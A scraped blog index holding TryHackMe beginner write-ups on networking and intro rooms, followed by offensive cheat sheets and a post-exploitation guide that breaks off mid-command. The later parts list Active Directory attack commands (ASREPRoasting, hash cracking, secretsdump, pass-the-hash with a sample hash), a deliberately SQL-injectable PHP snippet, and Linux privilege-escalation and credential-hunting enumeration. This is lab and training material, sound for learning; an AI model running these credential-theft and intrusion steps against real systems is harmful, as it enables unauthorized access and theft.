fundamentals.\nQuestion 1: Join the Packets and Frames room.\nNo answer needed\n","permalink":"https://onebee.blog/blog/thm/pre-security/network-fundamentals/osi-model/","summary":"THM | Pre Security | Network Fundamentals | OSI Model","title":"OSI Model"},{"content":"Challenge Information\nPlatform: TryHackMe\nPath: Pre Security\nModule: Network Fundamentals\nRoom: Intro to LAN\nDescription: Learn about some of the technologies and designs that power private networks\nIntroducing LAN Topologies This section features an interactive laboratory environment demonstrating three primary network topologies: ring, bus, and star. Each topology is presented with graphical demonstrations illustrating its structure, operation, and inherent vulnerabilities. The objective requires exploiting each topology\u0026rsquo;s weakness to disrupt the network; the flag is revealed only after all three networks have been successfully compromised.\nFigure 1: Network topologies lab\nRing Topology In a ring topology, devices are connected in a circular configuration where data travels in one direction until it reaches its destination. While this design eliminates collision domains, it introduces a critical single point of failure.\nFigure 2: Ring topology definition\nFigure 3: Ring topology demonstration\nThe vulnerability lies in the topology\u0026rsquo;s dependency on every node functioning correctly. If any device fails or the connection between devices is severed, the entire network ceases to function.\nFigure 4: Ring topology vulnerability\nFigure 5: Ring topology exploitation\nWe exploited this vulnerability by severing the connection between two nodes, thereby breaking the ring and disrupting network communications.\nFigure 6: Broken ring topology, stage 1\nFigure 7: Broken ring topology, stage 2\nBus Topology Bus topology employs a single backbone cable to which all devices connect. While cost-efficient and simple to implement, this design presents significant security and reliability concerns.\nFigure 8: Bus topology definition\nFigure 9: Bus topology demonstration\nThe primary vulnerability stems from the fact, when data is sent, it is sent down the backbone, in both left and right directions. All destinations will receive that data. Sending enough data can therefore overwhelm the backbone cable.\nFigure 10: Bus topology vulnerability\nFigure 11: Bus topology exploitation, stage 1\nFigure 12: Bus topology exploitation, stage 2\nBy sending a lot of data down the backbone cable, we successfully disrupted all network communications.\nFigure 13: Broken bus topology\nStar Topology In a star topology, all devices connect to a central hub or switch. This configuration offers improved reliability and simplified troubleshooting compared to ring or bus topologies, though it introduces dependency on the central device.\nFigure 14: Star topology definition\nThe central device represents a single point of failure; if compromised, the entire network becomes inoperable.\nFigure 15: Star topology vulnerability\nFigure 16: Star topology exploitation\nWe disabled the central switch, thereby terminating all network communications between connected devices.\nFigure 17: Broken star topology\nWith all three topologies compromised, the challenge flag was revealed.\nFigure 18: Redacted flag\nQuestions and Answers Question 1: What does LAN stand for?\nLocal Area Network\nQuestion 2: What is the verb given to the job that routers perform?\nRouting\nQuestion 3: What device is used to centrally connect multiple devices on the local network and transmit data to the correct location?\nSwitch\nQuestion 4: What topology is cost-efficient to set up?\nBus topology\nQuestion 5: What topology is expensive to set up and maintain?\nStar topology\nQuestion 6: Complete the interactive lab attached to this task. What is the flag given at the end?\n\u0026lt;redacted-flag\u0026gt;\nA Primer on Subnetting This section introduces subnetting, the process of dividing a network into smaller, more manageable segments. Understanding subnetting is essential for network design, security segmentation, and efficient IP address allocation.\nQuestion 1: What is the technical term for dividing a network up into smaller pieces?\nSubnetting\nQuestion 2: How many bits are in a subnet mask?\n32\nQuestion 3: What is the range of a section (octet) of a subnet mask?\n0–255\nQuestion 4: What address is used to identify the start of a network?\nNetwork address\nQuestion 5: What address is used to identify devices within a network?\nHost address\nQuestion 6: What is the name used to identify the device responsible for sending data to another network?\nDefault gateway\nThe ARP Protocol The Address Resolution Protocol (ARP) enables devices to map logical IP addresses to physical MAC addresses. This protocol is fundamental to local network communication and plays a critical role in network reconnaissance and potential exploitation.\nQuestion 1: What does ARP stand for?\nAddress Resolution Protocol\nQuestion 2: What category of ARP packet asks a device whether or not it has a specific IP address?\nRequest\nQuestion 3: What address is used as a physical identifier for a device on a network?\nMAC address\nQuestion 4: What address is used as a logical identifier for a device on a network?\nIP address\nThe DHCP Protocol The Dynamic Host Configuration Protocol (DHCP) automates IP address assignment, enabling devices to join networks without manual configuration. This section examines the four-step DHCP process: Discover, Offer, Request, and Acknowledge (DORA).\nQuestion 1: What type of DHCP packet is used by a device to retrieve an IP address?\nDHCP Discover\nQuestion 2: What type of DHCP packet does a device send once it has been offered an IP address by the DHCP server?\nDHCP Request\nQuestion 3: Finally, what is the last DHCP packet that is sent to a device from a DHCP server?\nDHCP ACK\nContinue Your Learning: OSI Model Completion of this room concludes the Network Fundamentals module\u0026rsquo;s introduction to local area networking. The next room in the learning path covers the OSI model, which provides a conceptual framework for understanding network communication across seven distinct layers.\nQuestion 1: Join the OSI Model room room.\nNo answer needed\n","permalink":"https://onebee.blog/blog/thm/pre-security/network-fundamentals/intro-to-lan/","summary":"THM | Pre Security | Network Fundamentals | Intro to LAN","title":"Intro to LAN"},{"content":"CHALLENGE INFORMATION\nPlatform: TryHackMe\nPath: Pre Security\nModule: Network Fundamentals\nRoom: What Is Networking?\nDescription: Begin learning the fundamentals of computer networking in this bite-sized and interactive module.\nWhat Is Networking? This section provides an initial overview of networks in computing.\nQuestion 1: What is the key term for devices that are connected together?\nNetwork\nWhat Is the Internet? Since 1989 . . . has it really been that long? Read the brief introduction about the Internet before proceeding to the next task.\nQuestion 1: Who invented the World Wide Web?\nTim Berners-Lee\nIdentifying Devices on a Network After deploying the interactive lab provided here, we can better understand how MAC address filtering works in practice.\nAs shown in Figure 1, only the packets colored green (#1) are allowed through the router; our own packets, marked blue, are discarded.\nTo spoof Alice\u0026rsquo;s MAC address, we copy her MAC address (#3) and modify our own to match it.\nFigure 1: MAC address filtering\nOnce we have modified our MAC address, our packets are allowed through, and we receive the flag.\nFigure 2: MAC address spoofing\nFigure 3: Redacted flag\nQuestion 1: What does the term IP stand for?\nInternet Protocol\nQuestion 2: What is each section of an IP address called?\nOctet\nQuestion 3: How many sections (in digits) does an IP address have?\n4\nQuestion 4: What does the term MAC stand for?\nMedia Access Control\nQuestion 5: Deploy the interactive lab using the View Site button and spoof your MAC address to access the site. What is the flag?\n\u0026lt;redacted-flag\u0026gt;\nPing (ICMP) We ping the address 8.8.8.8 (one of Google\u0026rsquo;s public DNS servers) using the deployable website provided in this section.\nTo execute the command, we fill in the target address, and the interface automatically adjusts the command in the command line:\n# send ICMP ECHO_REQUEST to network hosts ping -c 4 8.8.8.8 # -c \u0026lt;count\u0026gt; -- Stop after sending count ECHO_REQUEST packets Listing 1 - Ping command Figure 4: Sending ping request\nThe flag appears immediately after the ping requests are successfully transmitted.\nFigure 5: Redacted flag\nQuestion 1: What protocol does ping use?\nICMP\nQuestion 2: What is the syntax to ping 10.10.10.10?\nping 10.10.10.10\nQuestion 3: What flag do you get when you ping 8.8.8.8?\n\u0026lt;redacted-flag\u0026gt;\nContinue Your Learning: Intro to LAN After completing this room, we can proceed to the Intro to LAN room, the next module in the learning path.\nQuestion 1: Join the Intro to LAN room.\nNo answer needed\n","permalink":"https://onebee.blog/blog/thm/pre-security/network-fundamentals/what-is-networking/","summary":"THM | Pre Security | Network Fundamentals | What Is Networking?","title":"What Is Networking?"},{"content":"Challenge Information\nPlatform: TryHackMe\nPath: Pre Security\nModule: Introduction to Cyber Security\nRoom: Careers in Cyber\nDescription: Learn about the different careers in cybersecurity.\nIntroduction This room explores the various career paths available within cybersecurity, outlining the responsibilities associated with each role and identifying potential learning trajectories. We examine seven distinct positions, from defensive roles like security analysis and incident response to offensive positions such as penetration testing and red teaming.\nQuestion 1: Let\u0026rsquo;s start exploring the different roles in cybersecurity!\nNo answer needed.\nCareer Roles in Cybersecurity Security Analyst Security analysts serve as the first line of defense, monitoring networks and systems for security breaches and investigating violations when they occur. They analyze security best practices and recommend improvements to enhance an organization\u0026rsquo;s security posture.\nQuestion 1: Read about what a security analyst does.\nNo answer needed.\nSecurity Engineer Security engineers design, implement, and maintain security infrastructure. They build the systems and tools that protect organizational assets, ensuring that defensive measures are robust, scalable, and aligned with business requirements.\nQuestion 1: Read about what a security engineer does.\nNo answer needed.\nIncident Responder Incident responders act as the emergency personnel of the cybersecurity world. When breaches occur, they contain the threat, eradicate malicious presence, and restore systems to normal operation. They also develop incident response plans and conduct post-incident analysis to prevent future occurrences.\nQuestion 1: Read about what an incident responder does.\nNo answer needed.\nDigital Forensics Examiner Digital forensics examiners investigate cybercrimes by collecting, preserving, and analyzing digital evidence. They reconstruct events, recover deleted data, and prepare findings for legal proceedings, bridging the gap between technical investigation and judicial requirements.\nQuestion 1: Read about what a digital forensics examiner does.\nNo answer needed.\nMalware Analyst Malware analysts dissect malicious software to understand its functionality, propagation methods, and impact. By reverse-engineering threats, they develop signatures for detection and contribute to the broader understanding of threat actor tactics.\nQuestion 1: Read about what a malware analyst does.\nNo answer needed.\nPenetration Tester Penetration testers, or ethical hackers, simulate cyberattacks to identify vulnerabilities before malicious actors can exploit them. They conduct authorized attempts to breach systems, applications, and physical security controls, providing actionable remediation guidance.\nQuestion 1: Read about what a penetration tester does.\nNo answer needed.\nRed Teamer Red teamers conduct advanced, adversarial simulations that go beyond standard penetration testing. They emulate sophisticated threat actors, testing not only technical defenses but also organizational detection capabilities and incident response procedures over extended campaigns.\nQuestion 1: Read about what a red teamer does.\nNo answer needed.\nCareer Aptitude Quiz The room concludes with an interactive quiz designed to match participants with suitable career paths based on their interests, skills, and preferences. Below are screenshots documenting our progression through the seven-question assessment.\nFigure 1: Quiz - first question\nFigure 2: Quiz - second question\nFigure 3: Quiz - third question\nFigure 4: Quiz - fourth question\nFigure 5: Quiz - fifth question\nFigure 6: Quiz - sixth question\nFigure 7: Quiz - seventh question\nConclusion Completing this room marks the end of the Introduction to Cyber Security module. We have now finished the first of five modules in the Pre Security path and gained valuable insight into the diverse career opportunities available within the cybersecurity field.\nQuestion 1: Complete the careers quiz and share your chosen job!\nNo answer needed.\n","permalink":"https://onebee.blog/blog/thm/pre-security/introduction-to-cyber-security/careers-in-cyber/","summary":"THM | Pre Security | Introduction to Cyber Security | Careers in Cyber","title":"Careers in Cyber"},{"content":"CHALLENGE INFORMATION\nPlatform: TryHackMe\nPath: Pre Security\nModule: Introduction to Cyber Security\nRoom: Defensive Security Intro\nDescription: Introducing defensive security and related topics, such as threat intelligence, security operations centers (SOCs), digital forensics and incident response (DFIR), malware analysis, and security information and event management (SIEM).\nIntroduction to Defensive Security Before proceeding to the practical exercises, we reviewed the introduction to defensive security. This section establishes the foundational concepts of the blue team approach to cybersecurity.\nQuestion 1: Which team focuses on defensive security?\nBlue Team\nAreas of Defensive Security This section introduces core topics related to defensive security, including the security operations center (SOC) and digital forensics and incident response (DFIR). We recommend gaining a solid understanding of these concepts before proceeding.\nQuestion 1: What would you call a team of cybersecurity professionals that monitors a network and its systems for malicious events?\nSecurity Operations Center\nQuestion 2: What does DFIR stand for?\nDigital Forensics and Incident Response\nQuestion 3: Which kind of malware requires the user to pay money to regain access to their files?\nRansomware\nPractical Example of Defensive Security In this task, we followed along with a simulated junior (associate) security analyst\u0026rsquo;s daily workflow. The exercise provides hands-on experience with the tools and processes used in a typical SOC environment.\nNotice the login timestamp: 05:25. Early morning \u0026ndash; somebody either had a rough night or is just getting started.\nFirst, we checked the SIEM alerts for any suspicious activity:\nFigure 1: Reviewing SIEM alerts for suspicious login activity\nNext, we ran a check on the suspicious IP address associated with the login attempt:\nFigure 2: Running an IP reputation check\nWe then verified the results to confirm the threat:\nFigure 3: Verifying the IP check results\nAfter confirming the malicious activity, we escalated the event to a senior staff member:\nFigure 4: Escalating the security event\nFollowing escalation, we adjusted the firewall rules to block the malicious IP address:\nFigure 5: Adding a firewall rule to block the malicious IP address\nFinally, we retrieved the flag:\nFigure 6: Retrieved flag (redacted)\nThis practical exercise demonstrates the typical workflow of a defensive security analyst: monitoring, investigating, escalating, and mitigating threats.\nQuestion 1: What is the flag that you obtained by following along?\n\u0026lt;redacted-flag\u0026gt;\n","permalink":"https://onebee.blog/blog/thm/pre-security/introduction-to-cyber-security/defensive-security-intro/","summary":"THM | Pre Security | Introduction to Cyber Security | Defensive Security Intro","title":"Defensive Security Intro"},{"content":"CHALLENGE INFORMATION\nPlatform: TryHackMe\nPath: Pre Security\nModule: Introduction to Cyber Security\nRoom: Offensive Security Intro\nDescription: Hack your first website (legally in a safe environment) and experience an ethical hacker\u0026rsquo;s job.\nHacking Your First Machine Our objective in this task is to hack a fake bank application called FakeBank. Following the steps in the room, we gain access to a Linux machine where we can run commands.\nFirst, we print the current working directory (see the red circle marked 1, hereafter referred to as #1) and list all files and directories within it (see #2).\nFigure 1: Complete terminal interaction\nThe following commands were used:\n# Print name of current/working directory pwd # List directory contents ls -hlag # -h --human-readable # -l Use a long listing format # -a --all (include hidden files) # -g --group-directories-first # Brute-force URIs, including directories and files, # as well as DNS subdomains gobuster -u http://fakebank.com -w wordlist.txt dir # -u The target URL # -w Path to the wordlist # dir Uses directory/file enumeration mode Listing 1 - Command options and descriptions These commands verify our access to the wordlist file containing possible directory names. Using this file, Gobuster iterates through the list to find directories present on the target website, http://fakebank.com/.\ngobuster -u http://fakebank.com -w wordlist.txt dir Listing 2 - Directory enumeration with Gobuster As shown in the tutorial, Gobuster discovers a page called /bank-transfer on the target website. We can now navigate to this page in a browser.\nFigure 2: Admin portal with money transfer functionality\nNote that we append the discovered directory to the target URL to obtain the full address: http://fakebank.com/bank-transfer.\nAfter filling out the transfer parameters and sending the money, we obtain the flag.\nFigure 3: Transferring funds\nTo view the flag, we must return to the target site\u0026rsquo;s main page: http://fakebank.com/.\nFigure 4: Successful money transfer\nFigure 5: Redacted flag\nWith the flag in hand, answering the questions before proceeding to the next task should pose no difficulty.\nQuestions and Answers Question 1: When you\u0026rsquo;ve transferred money to your account, go back to your bank account page. What is the answer shown on your bank balance page?\n\u0026lt;redacted-flag\u0026gt;\nQuestion 2: If you were a penetration tester or security consultant, this is an exercise you\u0026rsquo;d perform for companies to test for vulnerabilities in their web applications; find hidden pages to investigate for vulnerabilities.\nNo answer needed\nQuestion 3: Terminate the machine by clicking the red Terminate button at the top of the page.\nNo answer needed\nWhat Is Offensive Security? Read the introduction to offensive security before proceeding to the next task.\nQuestion 1: Read the above.\nNo answer needed\nCareers in Cyber Security Review the possible careers in cyber security before finishing the task.\nWith that, we successfully complete our first room in the module. Remember to terminate the Linux machine if you have not already done so before proceeding to the next room. (See Task 1 for further details.)\nQuestion 1: Read the above, and continue with the next room!\nNo answer needed\n","permalink":"https://onebee.blog/blog/thm/pre-security/introduction-to-cyber-security/offensive-security-intro/","summary":"THM | Pre Security | Introduction to Cyber Security | Offensive Security Intro","title":"Offensive Security Intro"},{"content":"CHALLENGE INFORMATION\nPlatform: TryHackMe\nPath: Pre Security\nModule: N/A\nRoom: N/A\nDescription: Introduction to the TryHackMe (THM) Platform.\nIntroduction As you may have already noticed, this path requires no prior knowledge; therefore, no prerequisites are specified.\nBeing the first in the series, this write-up focuses on introducing you to the structure TryHackMe (THM) uses to organize its learning content. Although the site layout aims to be intuitive, some users may find it overwhelming at first glance. This document should alleviate some of that confusion.\nAfter logging in to the website, select Learn from the top menu bar.\nFigure 1: Selecting Learn\nIn the sidebar, choose Learning Paths to display all available learning paths. Before selecting the Pre Security path, review the path description and note both the intended difficulty level and the estimated completion time.\nFigure 2: Selecting the Pre Security path\nA single click automatically enrolls you in your selected learning path.\nFigure 3: Pre Security path description\nAs you can see, the THM learning platform follows a simple structure: a Path comprises multiple learning modules. Each Module consists of building blocks called Rooms \u0026ndash; the most basic and frequent elements on the platform.\nConsider our current path with its modules and rooms. To illustrate this structure, we can depict it in a tree-like manner:\nPre Security Path\nIntroduction to Cyber Security Module Intro to Offensive Security Room Intro to Defensive Security Room Careers in Cyber Room Network Fundamentals Module What is Networking? Room Intro to LAN Room OSI Model Room Packets \u0026amp; Frames Room Extending Your Network Room How the Web Works Module DNS in detail Room HTTP in detail Room How websites work Room Putting it all together Room Linux Fundamentals Module Linux Fundamentals Part 1 Room Linux Fundamentals Part 2 Room Linux Fundamentals Part 3 Room Windows Fundamentals Module Windows Fundamentals 1 Room Windows Fundamentals 2 Room Windows Fundamentals 3 Room Listing 1 - Pre Security path structure After selecting a path, you can examine the various rooms upon which the entire path is built by expanding their respective modules. Our path contains the following modules:\nFigure 4: Modules\nYou may join any room in the path regardless of whether you have completed previous rooms. However, we strongly recommend following the presented order of modules and rooms, as some rooms build upon knowledge acquired in earlier ones.\nHere you can see all the modules in the current path, expanded:\nFigure 5: Introduction to Cyber Security module\nFigure 6: Network Fundamentals module\nFigure 7: How The Web Works module\nFigure 8: Linux Fundamentals module\nFigure 9: Windows Fundamentals module\nYou may notice two circles surrounding each room\u0026rsquo;s image. The first circle (from left to right) functions as a checkbox; it becomes checked once you fully complete the room. The second circle denotes your progress through the room.\nIn short:\nEmpty circles \u0026ndash; Get to work! Figure 10: Empty circles\nFull circles \u0026ndash; Great job! Figure 11: Full circles\nLet us begin. Click the first room in the series, Intro to Offensive Security, located under the Introduction to Cyber Security module.\nFigure 12: Entering a room\nAfter joining the room, follow the steps (see #4) and the guide to complete the tasks (see #3). Finish all tasks before moving on to the next room.\nFigure 13: Joined room\nAs you can see, some rooms require you to operate on a set of machines. Both attack and target systems may require you to start them (see #2), though sometimes you need only download the files required for the room.\nIf you get stuck at any point, do not panic. You can find help (see #1) on the forum post or by asking the community for a nudge on the Discord server. Alternatively, similar walkthroughs to this one may already exist for some rooms. Once you complete the room, you can add your own write-up to help others on the path.\nHopefully, after following this short tutorial, you will be able to dive right in and begin your own learning journey.\n","permalink":"https://onebee.blog/blog/thm/pre-security/introduction-to-cyber-security/thm-intro-im/","summary":"Introduction to the TryHackMe (THM) Platform.","title":"TryHackMe Platform Introduction"},{"content":"Hacking Tips \u0026amp; Snippets A practical reference for common penetration testing and forensics tasks. We focus on straightforward techniques that work in real-world scenarios.\nActive Directory Pentesting Initial Enumeration\nStart with broad enumeration to map the domain structure:\nenum4linux \u0026lt;target-ip\u0026gt; User Enumeration with Kerbrute We use Kerbrute to discover valid user accounts through brute force. First, download the binary from GitHub releases, then make it executable:\nmv kerbrute_linux_amd64 kerbrute chmod +x kerbrute Run user enumeration against the domain controller:\n./kerbrute userenum --dc CONTROLLER.local -d CONTROLLER.local userlist.txt Note: Add the domain name to your hosts file if DNS resolution fails:\necho \u0026#34;10.10.242.93 CONTROLLER.local\u0026#34; \u0026gt;\u0026gt; /etc/hosts Kerberos ASREPRoasting When a user account has \u0026ldquo;Do not require Kerberos preauthentication\u0026rdquo; enabled, we can request ticket-granting tickets (TGTs) without credentials. Use Impacket\u0026rsquo;s GetNPUsers to query these accounts from the Key Distribution Center:\npython3 /opt/impacket/examples/GetNPUsers.py spookysec.local/svc-admin -no-pass -dc-ip 10.10.105.219 Crack the captured Kerberos hash with Hashcat (mode 18200 for Kerberos 5 AS-REP):\nhashcat -m 18200 kerb-hash.txt passwordlist.txt --show SMB Share Enumeration Discover available shares and their permissions:\nUsing smbmap:\nsmbmap.py -H 10.10.105.219 -u svc-admin -p management2005 smbmap.py -H 10.10.105.219 -u svc-admin -p management2005 -r backup Using smbclient:\nsmbclient -L 10.10.105.219 -U svc-admin smbclient \\\\\\\\10.10.105.219\\\\backup -U svc-admin Once connected, use dir to list contents and get \u0026lt;filename\u0026gt; to download files.\nCredential Extraction If we find base64-encoded credentials, decode them:\ncat backup_credentials.txt | base64 -d Use secretsdump to extract password hashes from a domain controller:\npython3 /opt/impacket/examples/secretsdump.py backup:backup2517860@10.10.105.219 Pass the Hash Attacks When we have password hashes but not plaintext passwords, we authenticate using the hash directly with evil-winrm:\nevil-winrm -i 10.10.105.219 -u Administrator -H 0e0363213e37b94221497260b0bcb4fc Backend Database Operations MySQL Database Connections in PHP Basic connection:\n$conn = new mysqli(\u0026#34;localhost\u0026#34;, \u0026#34;user\u0026#34;, \u0026#34;pass\u0026#34;); Create a new database:\n$sql = \u0026#34;CREATE DATABASE database1\u0026#34;; $conn-\u0026gt;query($sql); Connect to a specific database:\n$conn = new mysqli(\u0026#34;localhost\u0026#34;, \u0026#34;user\u0026#34;, \u0026#34;pass\u0026#34;, \u0026#34;database1\u0026#34;); $query = \u0026#34;SELECT * FROM table_1\u0026#34;; $result = $conn-\u0026gt;query($query); Handling User Input Search functionality example:\n$searchInput = $_POST[\u0026#39;findUser\u0026#39;]; $query = \u0026#34;SELECT * FROM users WHERE name LIKE \u0026#39;%$searchInput%\u0026#39;\u0026#34;; $result = $conn-\u0026gt;query($query); Display results:\nwhile($row = $result-\u0026gt;fetch_assoc()) { echo $row[\u0026#34;name\u0026#34;] . \u0026#34;\u0026lt;br\u0026gt;\u0026#34;; } Security Note: The example above demonstrates SQL injection vulnerability. In production code, we should always use prepared statements to sanitize user input.\nMemory Forensics Volatility Basics Volatility is our go-to tool for analyzing memory dumps. Download it from GitHub.\nBasic command structure:\n# Analyze memory dump and identify the operating system python3 vol.py -f /path/to/memorydump.vmem windows.info # Override default plugin location python3 vol.py -p /path/to/custom/plugins # Specify output directory for extracted files python3 vol.py -o /output/extracted/files/here Essential Windows Plugins Plugin Purpose Use Case windows.pslist Lists running processes Discover what was executing during capture windows.psscan Deep process analysis Examine specific process behavior windows.dumpfiles Export processes/DLLs Enable static or dynamic analysis of binaries windows.netstat Network connections Identify malicious connections and C2 servers Usage examples:\n# List all processes python3 vol.py -f workstation.vmem windows.pslist # Deep scan a specific process python3 vol.py -f workstation.vmem windows.psscan Network analysis tip: If we identify a malicious IP address communicating with a process, we can check if other devices on the network are connecting to the same address to identify additional compromised systems.\nNetwork Analysis Capture Setup with Dumpcap List available interfaces:\ndumpcap -D Basic capture to file:\ndumpcap -i 1 -w /save.pcapng Ring buffer setup (rotates files when size limit is reached):\ndumpcap -i 1 -w /save.pcapng -b filesize:500000 -b files:10 Capture Filters Capture filters apply during data collection to reduce file size:\nCapture only DNS traffic:\nport 53 Display Filters Display filters help us analyze captured traffic:\nTraffic between two specific addresses:\nip.addr eq 192.168.1.1 and ip.addr eq 10.0.0.1 Same traffic but TCP only:\n(ip.addr eq 192.168.1.1 and ip.addr eq 10.0.0.1) \u0026amp;\u0026amp; (tcp) Exclude noise traffic (ARP, IPv6, SSDP):\nnot (arp or ipv6 or ssdp) Specific TCP ports (web traffic):\ntcp.port in {80 443 8080} String filtering at frame level:\nCase-sensitive:\nframe contains \u0026#34;google\u0026#34; Case-insensitive:\nframe matches \u0026#34;(?i)google\u0026#34; Quick Reference Tool Purpose enum4linux SMB/AD enumeration kerbrute Active Directory user brute-forcing GetNPUsers.py ASREPRoasting attacks hashcat Password hash cracking smbmap/smbclient SMB share enumeration secretsdump.py Extract credentials from Windows evil-winrm Remote Windows management Volatility Memory forensics dumpcap/Wireshark Network capture and analysis cURL CheatSheet # download the file silently curl -s -O inlanefreight.com/index.html # skip the ssl certificate check curl -k https://inlanefreight.com # print full HTTP request/response details curl inlanefreight.com -v curl inlanefreight.com -vvv # display only the response headers curl -I \u0026lt;site\u0026gt; # display both the headers and the response body curl -i \u0026lt;site\u0026gt; # set our User-Agent header curl -A \u0026#39;Mozzilla/5.0\u0026#39; https://www.inlanefreight.com # provide credentials to the page curl -u admin:admin http://\u0026lt;SERVER_IP\u0026gt;:\u0026lt;PORT\u0026gt;/ curl http://admin:admin@\u0026lt;SERVER_IP\u0026gt;:\u0026lt;PORT\u0026gt;/ # manually set the authorization token(base64 encoded-admin:admin) curl -H \u0026#39;Authorization: Basic YWRtaW46YWRtaW4=\u0026#39; http://\u0026lt;SERVER_IP\u0026gt;:\u0026lt;PORT\u0026gt;/ # pass GET parameters curl \u0026#39;http://\u0026lt;SERVER_IP\u0026gt;:\u0026lt;PORT\u0026gt;/search.php?search=le\u0026#39; -H \u0026#39;Authorization: Basic YWRtaW46YWRtaW4=\u0026#39; # pass login data in the request curl -X POST -d \u0026#39;username=admin\u0026amp;password=admin\u0026#39; http://\u0026lt;SERVER_IP\u0026gt;:\u0026lt;PORT\u0026gt;/ # follow the redirection to login page with -L # set the cookie obtained previously for the session curl -b \u0026#39;PHPSESSID=c1nsa6op7vtk7kdis7bcnbadf1\u0026#39; http://\u0026lt;SERVER_IP\u0026gt;:\u0026lt;PORT\u0026gt;/ # specify the cookie as a header curl -H \u0026#39;Cookie: PHPSESSID=c1nsa6op7vtk7kdis7bcnbadf1\u0026#39; http://\u0026lt;SERVER_IP\u0026gt;:\u0026lt;PORT\u0026gt;/ # set post data, cookie and content type to query the server curl -X POST -d \u0026#39;{\u0026#34;search\u0026#34;:\u0026#34;london\u0026#34;}\u0026#39; -b \u0026#39;PHPSESSID=imnvdlhm53j91b2c2qbds40mte\u0026#39; -H \u0026#39;Content-Type: application/json\u0026#39; http://157.245.40.78:30738/search.php # update the city table in the database curl -X PUT http://\u0026lt;SERVER_IP\u0026gt;:\u0026lt;PORT\u0026gt;/api.php/city/london # search and format the response curl -s http://\u0026lt;SERVER_IP\u0026gt;:\u0026lt;PORT\u0026gt;/api.php/city/london | jq # add content to the table curl -X POST http://\u0026lt;SERVER_IP\u0026gt;:\u0026lt;PORT\u0026gt;/api.php/city/ -d \u0026#39;{\u0026#34;city_name\u0026#34;:\u0026#34;HTB_City\u0026#34;, \u0026#34;country_name\u0026#34;:\u0026#34;HTB\u0026#34;}\u0026#39; -H \u0026#39;Content-Type: application/json\u0026#39; # update the content of the table curl -X PUT http://\u0026lt;SERVER_IP\u0026gt;:\u0026lt;PORT\u0026gt;/api.php/city/london -d \u0026#39;{\u0026#34;city_name\u0026#34;:\u0026#34;New_HTB_City\u0026#34;, \u0026#34;country_name\u0026#34;:\u0026#34;HTB\u0026#34;}\u0026#39; -H \u0026#39;Content-Type: application/json\u0026#39; # delete an entry curl -X DELETE http://\u0026lt;SERVER_IP\u0026gt;:\u0026lt;PORT\u0026gt;/api.php/city/New_HTB_City ","permalink":"https://onebee.blog/blog/collection/offensive/specialized-topics/","summary":"Collection | Offensive | Specialized Topics","title":"Offensive | Specialized Topics"},{"content":"Post-Exploitation: Expanding Access A practical guide to enumeration, foothold establishment, pivoting, and privilege escalation on Linux and Windows systems.\nEnumeration Understanding the target environment is our first priority. We need to gather intelligence about the system, network, users, and potential attack vectors.\nSystem Information\nStart by identifying the target system and its configuration:\n# Get the hostname hostname # Print system information (kernel, architecture) uname -a # Get detailed information about the kernel cat /proc/version # Identify the operating system cat /etc/issue cat /etc/os-release Process Enumeration\nDiscover what services and applications are running:\n# View the process tree ps axjf # Show all processes with user information ps aux # Display environmental variables env User and Permission Enumeration\nUnderstand who we are and what we can access:\n# Check our current user ID, group memberships, and privileges id # Check another user\u0026#39;s information id \u0026lt;username\u0026gt; # List all users on the system cat /etc/passwd # Format output to show only usernames cat /etc/passwd | cut -d \u0026#34;:\u0026#34; -f 1 # Find users with home directories cat /etc/passwd | grep home # Check our sudo privileges sudo -l # View command history for potential credentials or interesting commands history cat ~/.bash_history Network Enumeration\nMap the network landscape:\n# View network interface configuration ifconfig ip addr # View network routes ip route # List all listening ports and established connections netstat -a # List TCP or UDP protocols specifically netstat -at netstat -au # List ports in listening mode netstat -l netstat -lt # List network usage statistics by protocol netstat -s # List connections with service names and PID information netstat -tp netstat -ltp # Show interface statistics netstat -i # Display all sockets without resolving names (shows timers) netstat -ano File System Enumeration\nSearch for interesting files and permissions:\n# Find files with 777 permissions (world-readable, writable, executable) find / -type f -perm 0777 2\u0026gt;/dev/null # Find files modified in the last 10 days find / -mtime -10 2\u0026gt;/dev/null # Find files accessed in the last 10 days find / -atime -10 2\u0026gt;/dev/null # Find files changed within the last 60 minutes find / -cmin -60 2\u0026gt;/dev/null # Find files accessed within the last 60 minutes find / -amin -60 2\u0026gt;/dev/null # Find files larger than 100MB find / -size +100M -type f 2\u0026gt;/dev/null # Find world-writable directories find / -writable -type d 2\u0026gt;/dev/null find / -perm -222 -type d 2\u0026gt;/dev/null find / -perm -o w -type d 2\u0026gt;/dev/null # Find world-executable directories find / -perm -o x -type d 2\u0026gt;/dev/null # Find development tools and supported languages find / -name \u0026#34;perl*\u0026#34; 2\u0026gt;/dev/null find / -name \u0026#34;python*\u0026#34; 2\u0026gt;/dev/null find / -name \u0026#34;gcc*\u0026#34; 2\u0026gt;/dev/null # Find files with SUID bit set find / -perm -u=s -type f 2\u0026gt;/dev/null # Find files with SUID or SGID set (detailed listing) find / -type f -a \\( -perm -u+s -o -perm -g+s \\) -exec ls -l {} \\; 2\u0026gt;/dev/null Service Enumeration with Nmap\nFrom our attack machine, we enumerate target services:\n# Service enumeration scan (top 1000 ports, only open) nmap -sV --open -oA initial_scan \u0026lt;target_ip\u0026gt; # Check which ports nmap scans for a given scan type nmap -v -oG - # Full TCP port scan nmap -p- --open -oA full_tcp_scan \u0026lt;target_ip\u0026gt; # Banner grabbing with netcat to confirm nmap results nc -nv \u0026lt;target_ip\u0026gt; 22 nc -nv \u0026lt;target_ip\u0026gt; 80 # Nmap script scan with default scripts nmap -sC -p 22,80 -oA script_scan \u0026lt;target_ip\u0026gt; # HTTP enumeration script nmap -sV --script=http-enum -oA http_enum \u0026lt;target_ip\u0026gt; Web Application Enumeration\nWhen web services are discovered:\n# Identify the web application and technologies whatweb \u0026lt;target_ip\u0026gt; whatweb http://\u0026lt;target_ip\u0026gt;/path # Check the site with curl curl http://\u0026lt;target_ip\u0026gt; # Directory enumeration with Gobuster gobuster dir -u http://\u0026lt;target_ip\u0026gt;/ --wordlist /usr/share/dirb/wordlists/common.txt gobuster dir -u http://\u0026lt;target_ip\u0026gt;/application/ --wordlist /usr/share/dirb/wordlists/common.txt # Request a file and prettify XML output curl -s http://\u0026lt;target_ip\u0026gt;/content/private/users.xml | xmllint --format - File Transfer Techniques Moving tools and payloads between systems is essential. Here are reliable methods:\nHTTP Server Method\nSet up a simple HTTP server on our attack machine:\n# Python 3 HTTP server cd /tmp python3 -m http.server 8000 # Python 2 (legacy systems) python -m SimpleHTTPServer 8080 Download on the target:\n# Using wget wget http://\u0026lt;our_ip\u0026gt;:8000/linenum.sh # Using curl curl http://\u0026lt;our_ip\u0026gt;:8000/linenum.sh -o 